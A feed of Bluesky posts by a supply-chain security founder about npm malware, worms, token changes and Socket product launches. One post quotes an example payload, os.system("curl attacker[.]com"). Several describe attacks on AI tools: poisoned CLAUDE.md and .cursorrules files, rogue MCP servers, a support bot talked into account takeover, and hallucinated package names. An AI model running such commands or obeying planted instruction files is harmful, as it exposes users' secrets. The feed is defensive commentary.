iiinova — where your digital self keeps evolving

Feross @feross.bsky.social · 22/09/2026

Two npm token changes coming: 1. Tokens that bypass 2FA are losing power (no more changing maintainers/org membership). 2. ~Jan 2027: staged publishing, where a human with 2FA approves the actual ship. Details: risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 21/09/2026

The wildest part of a recent npm attack was the command-and-control: it ran over libp2p, the BitTorrent DHT, IPFS, Ethereum smart contracts, and Nostr relays. Every decentralization protocol, as C2: risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 18/09/2026

npm 12 silently skips install scripts, including legit ones that compile native modules. The result: prod failures, then teams blanket-allowing everything to make CI green. Flip the soft-fail into a hard-fail instead: risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 17/09/2026

Signatures and provenance are useful, but they don't answer the real question: What does this code actually do when you run it? What does it touch? What does it connect to? That's the source of truth: risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 16/09/2026

An attacker got one commit into a repo. The project's own pipeline built and published it through GitHub Actions, fully signed and attested. Cryptographically signed. Still malware. Provenance isn't safety: risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 15/09/2026

We flagged a malicious package. Three hours later the same actor was back with the same payload, retooled to run on import. It slipped past npm 12 and past scanners that only check install hooks, which called it "safe." risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 14/09/2026

One malicious npm package went looking for crypto wallets, cloud credentials, and the config files of AI coding assistants, where a lot of devs now keep their API keys. The full story: risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 11/09/2026

Turning off install scripts moves the timing of the attack, not the threat. Attackers just move the payload into the package itself. You import it, it runs. We watched them do it mid-campaign: risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 10/09/2026

npm 12 turns install scripts OFF by default. For years, installing a package could run code on your machine before you imported a line of it. Here's what changed: risky.biz/RBNEWSSI140/

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Feross @feross.bsky.social · 03/09/2026

I used to think sales was dirty and that the product should speak for itself. I was wrong. Done right, sales is just being an honest consultant about fit, and I love it now. What changed my mind:

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Feross @feross.bsky.social · 02/09/2026

My security career started with a microwave. As a kid I read the manual, found the child-lock combo, and locked my mom out whenever I was mad. Read the manual everyone skips, find the feature nobody meant to expose. Still the whole job:

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Feross @feross.bsky.social · 01/09/2026

Defenders have to be perfect. Attackers only have to be right once. So does AI help attackers or defenders more? For phishing, attackers. For the software supply chain, I think it finally tips toward defenders. Why:

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Feross @feross.bsky.social · 31/08/2026

The only real signal for whether to trust a package is what the code actually does. Does it hit the network? Read your filesystem? Grab your API keys and env vars? Everything else is a proxy. There's no replacement for reading the code:

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Feross @feross.bsky.social · 28/08/2026

Instagram's account-recovery support bot could be talked into adding your email to anyone's account, then you reset the password and you're in. If your AI agent can call a tool, assume an attacker can reach that tool directly:

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Feross @feross.bsky.social · 27/08/2026

A skill called 'What Would Elon Do' hit #1 in its marketplace with almost no real usage. The download count was trivially faked, and being #1 made real people install it. Stars and downloads are gameable. What to trust instead:

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Feross @feross.bsky.social · 26/08/2026

AI coding models sometimes invent package names that don't exist, almost like wishful thinking. Attackers now register those exact names and wait for the agents to install them. Why scanning for known CVEs no longer covers the real risk:

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Feross @feross.bsky.social · 25/08/2026

You're late to a call and it says 'your Microsoft Teams is out of date, click to update.' You click. The call was fake, the URL was fake, the 'update' was malware built with the real Teams SDK. How a real maintainer got compromised:

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Feross @feross.bsky.social · 24/08/2026

You can't even get 'hello world' on screen anymore without pulling in 1,000+ open-source dependencies. Every one is a person you now trust. The attack surface almost nobody was watching until recently:

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Feross @feross.bsky.social · 24/05/2026

🚨 Active supply chain attack across npm, PyPI, and Crates.io. 34+ packages stealing crypto wallets, SSH keys, and cloud creds. The malware even plants poisoned .cursorrules and CLAUDE.md files to weaponize AI coding assistants. socket.dev/blog/trapdoo...

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Feross @feross.bsky.social · 21/05/2026

TeamPCP just did an interview where they were asked what defenders should do to stop supply chain attacks. Their advice: "The company @socket.dev will detect the malware before the package even reaches your machine." So... thanks, I think? We're not putting this on the testimonials page.

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Feross @feross.bsky.social · 20/05/2026

Today is a big day for @socket.dev. We raised a $60M Series C at a $1B valuation, led by Thrive Capital. 20,000+ orgs, 1.5M repos protected, 1,000+ supply chain attacks blocked per week. 3/5 FAANG companies are customers. We're just getting started.

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Feross @feross.bsky.social · 12/05/2026

🎉 Socket is proud to be named to the Rising in Cyber 2026 list by Notable Capital, recognizing 30 private cybersecurity startups selected by nearly 150 practicing CISOs and cybersecurity executives. socket.dev/blog/rising-...

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Feross @feross.bsky.social · 11/05/2026

🚨 Active supply chain attack on TanStack. 84 npm packages compromised, including react-router (12M+ weekly downloads). The malware is a self-propagating worm: steals GitHub Actions OIDC tokens, republishes itself to npm as the compromised maintainer. Socket flagged every version within 6 minutes.

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Feross @feross.bsky.social · 30/04/2026

🚨 Active supply chain attacks on both PyPI and npm today. lightning 2.6.2/2.6.3 and intercom-client 7.0.4 are compromised with credential-stealing malware. Same attacker, same tooling, two ecosystems. Downgrade immediately.

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Feross @feross.bsky.social · 15/04/2026

I’m speaking at AI Council 2026 in San Francisco, May 12–14. I’ll be diving into AI security topics, including the agent attack surface and how to enable highly autonomous, trusted agents. Hope to see you there → aicouncil.com #AICouncil

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Feross @feross.bsky.social · 23/03/2026

We're at RSA this week! Come by and say hi! Supply chain attacks are accelerating, AI coding tools are creating new attack surfaces, and we've been busy building. Find us at The Metreon (161 4th St) -- we have a private suite Mon–Thu, 8am–5pm. Book time with me here: socket.dev/book/rsa

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Feross @feross.bsky.social · 23/03/2026

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Feross @feross.bsky.social · 20/02/2026

💥 Your AI coding assistant might be stealing your SSH keys. 💥 @socket.dev found an active Shai-Hulud style npm worm (SANDWORM_MODE) that hijacks CI workflows, spreads via stolen tokens, and injects rogue MCP servers to poison AI coding tools and steal secrets.

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Feross @feross.bsky.social · 17/02/2026

Shipping PHP? Don't install malicious code!

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Feross @feross.bsky.social · 05/12/2025

The November bar stands out. It’s down sharply compared to November 2024. The visual makes the dip feel dramatic, but this isn’t a signal of lower risk. It’s a signal of slower publishing by a few major CNAs.

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Feross @feross.bsky.social · 05/12/2025

CVE volume is ahead of last year, even with a small dip in November. 42,697 CVEs through Nov 30, running 16.9 percent higher than 2024. The chart makes it obvious how steady the upward curve has been all year. The overall trend is sustained growth in disclosures.

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Feross @feross.bsky.social · 22/11/2025

Webhooks for Alert Changes just dropped 🎉 No more refreshing dashboards. Socket now pushes every new, updated, or cleared alert straight into your workflow in real time. Perfect way to wrap Launch Week: Ruby reachability, Certified Patches, Bun/vlt, OpenVSX… and now this ⚡️

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Feross @feross.bsky.social · 20/11/2025

IDE extensions are a silent nightmare. VS Code extensions get full access to your code and creds, and attackers have already slipped malware into VS Code Marketplace and OpenVSX. So Socket now scans OpenVSX extensions before they ever hit your machine. 🔍⚡️

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Feross @feross.bsky.social · 19/11/2025

🚀 Big news for JavaScript teams: Socket now supports Bun and vlt in beta. You no longer have to choose between innovation and security. Commit a bun.lock or vlt-lock.json and Socket gives you full supply chain protection.

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Feross @feross.bsky.social · 18/11/2025

🚀 Day Two of Socket Launch Week! We’re launching @socket.dev Certified Patches—a new way to eliminate vulnerabilities instantly without upgrading your package versions or pulling in risky new code. Tiny, human-reviewed fixes that give teams a clean path to zero exploitable CVEs.

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Feross @feross.bsky.social · 17/11/2025

1/ Ruby teams, this one’s for you 🔥 Today we’re launching Reachability for Ruby in beta. It identifies which Ruby vulnerabilities are actually exploitable in your app… and which ones are just noise.

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Feross @feross.bsky.social · 24/10/2025

Today, we’re launching Socket Firewall Enterprise — built to stop malicious packages before they ever reach your apps or developer systems.

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Feross @feross.bsky.social · 23/10/2025

You’d never clone a random repo and give it your production keys… But that’s literally what your GitHub Actions do every time they run. Think about it — your GitHub Actions pipeline pulls in random code straight from the internet, runs it with full access to secrets, tokens, everything.

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Feross @feross.bsky.social · 21/10/2025

1️⃣ Static analysis (SAST) for 14 languages — finds real code issues like command injection or unsafe deserialization before they land. 2️⃣ Secrets detection — catches leaked API keys before they’re merged. 3️⃣ Container scanning — checks Dockerfiles + images for risky configs and outdated base images.

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Feross @feross.bsky.social · 20/10/2025

4️⃣ You can scan models today via our API using a "package URL" or PURL like: pkg:huggingface/... Or upload an AIBOM (AI Bill of Materials) from CycloneDX. Socket will analyze all the models it references for malware and supply chain risk.

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Feross @feross.bsky.social · 20/10/2025

3️⃣ Developers already know: Pickle, TensorFlow, GGUF, and Llamafile can execute code when loaded. That means a random model from the internet could be quietly running os.system("curl attacker[.]com") in your env. We’ve already seen payloads hiding in models exfiltrating data, spawning shells.

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Feross @feross.bsky.social · 20/10/2025

2️⃣ Socket now scans Hugging Face model files for: – Deserialization exploits – Lambda layer injections – Llamafile runtime malware – GGUF template backdoors If a model contains code that can hijack your system, you’ll know before it ever runs. ⚡️

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Feross @feross.bsky.social · 30/09/2025

🚨 Open source supply chain attacks are exploding. Starting today, that ends. We’re releasing Socket Firewall — FREE, zero-config, CLI that blocks malware before it lands on your laptop or CI. Just run: npm i -g sfw sfw npm install lodash Works for: npm, yarn, pnpm, pip, uv, and cargo.

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Feross @feross.bsky.social · 18/09/2025

DJ Khaled on compromised NPM packages

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Feross @feross.bsky.social · 22/04/2025

3️⃣ It’s all live in the UI 🖱️ and the API 🧪 So whether you’re a clicker or a scripter 🧑‍💻 — you’re covered. This is a public beta 🚧 Available NOW ⏰ Tell us what you love — and what’s broken 🛠️

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Feross @feross.bsky.social · 22/04/2025

1️⃣ You can now tag your repos with custom labels: • frontend 🎨 • infra ⚙️ • legacy 🪦 • team-red 🟥 Whatever fits your mental model 🧠. Finally, a sane way to bring order to repo chaos.

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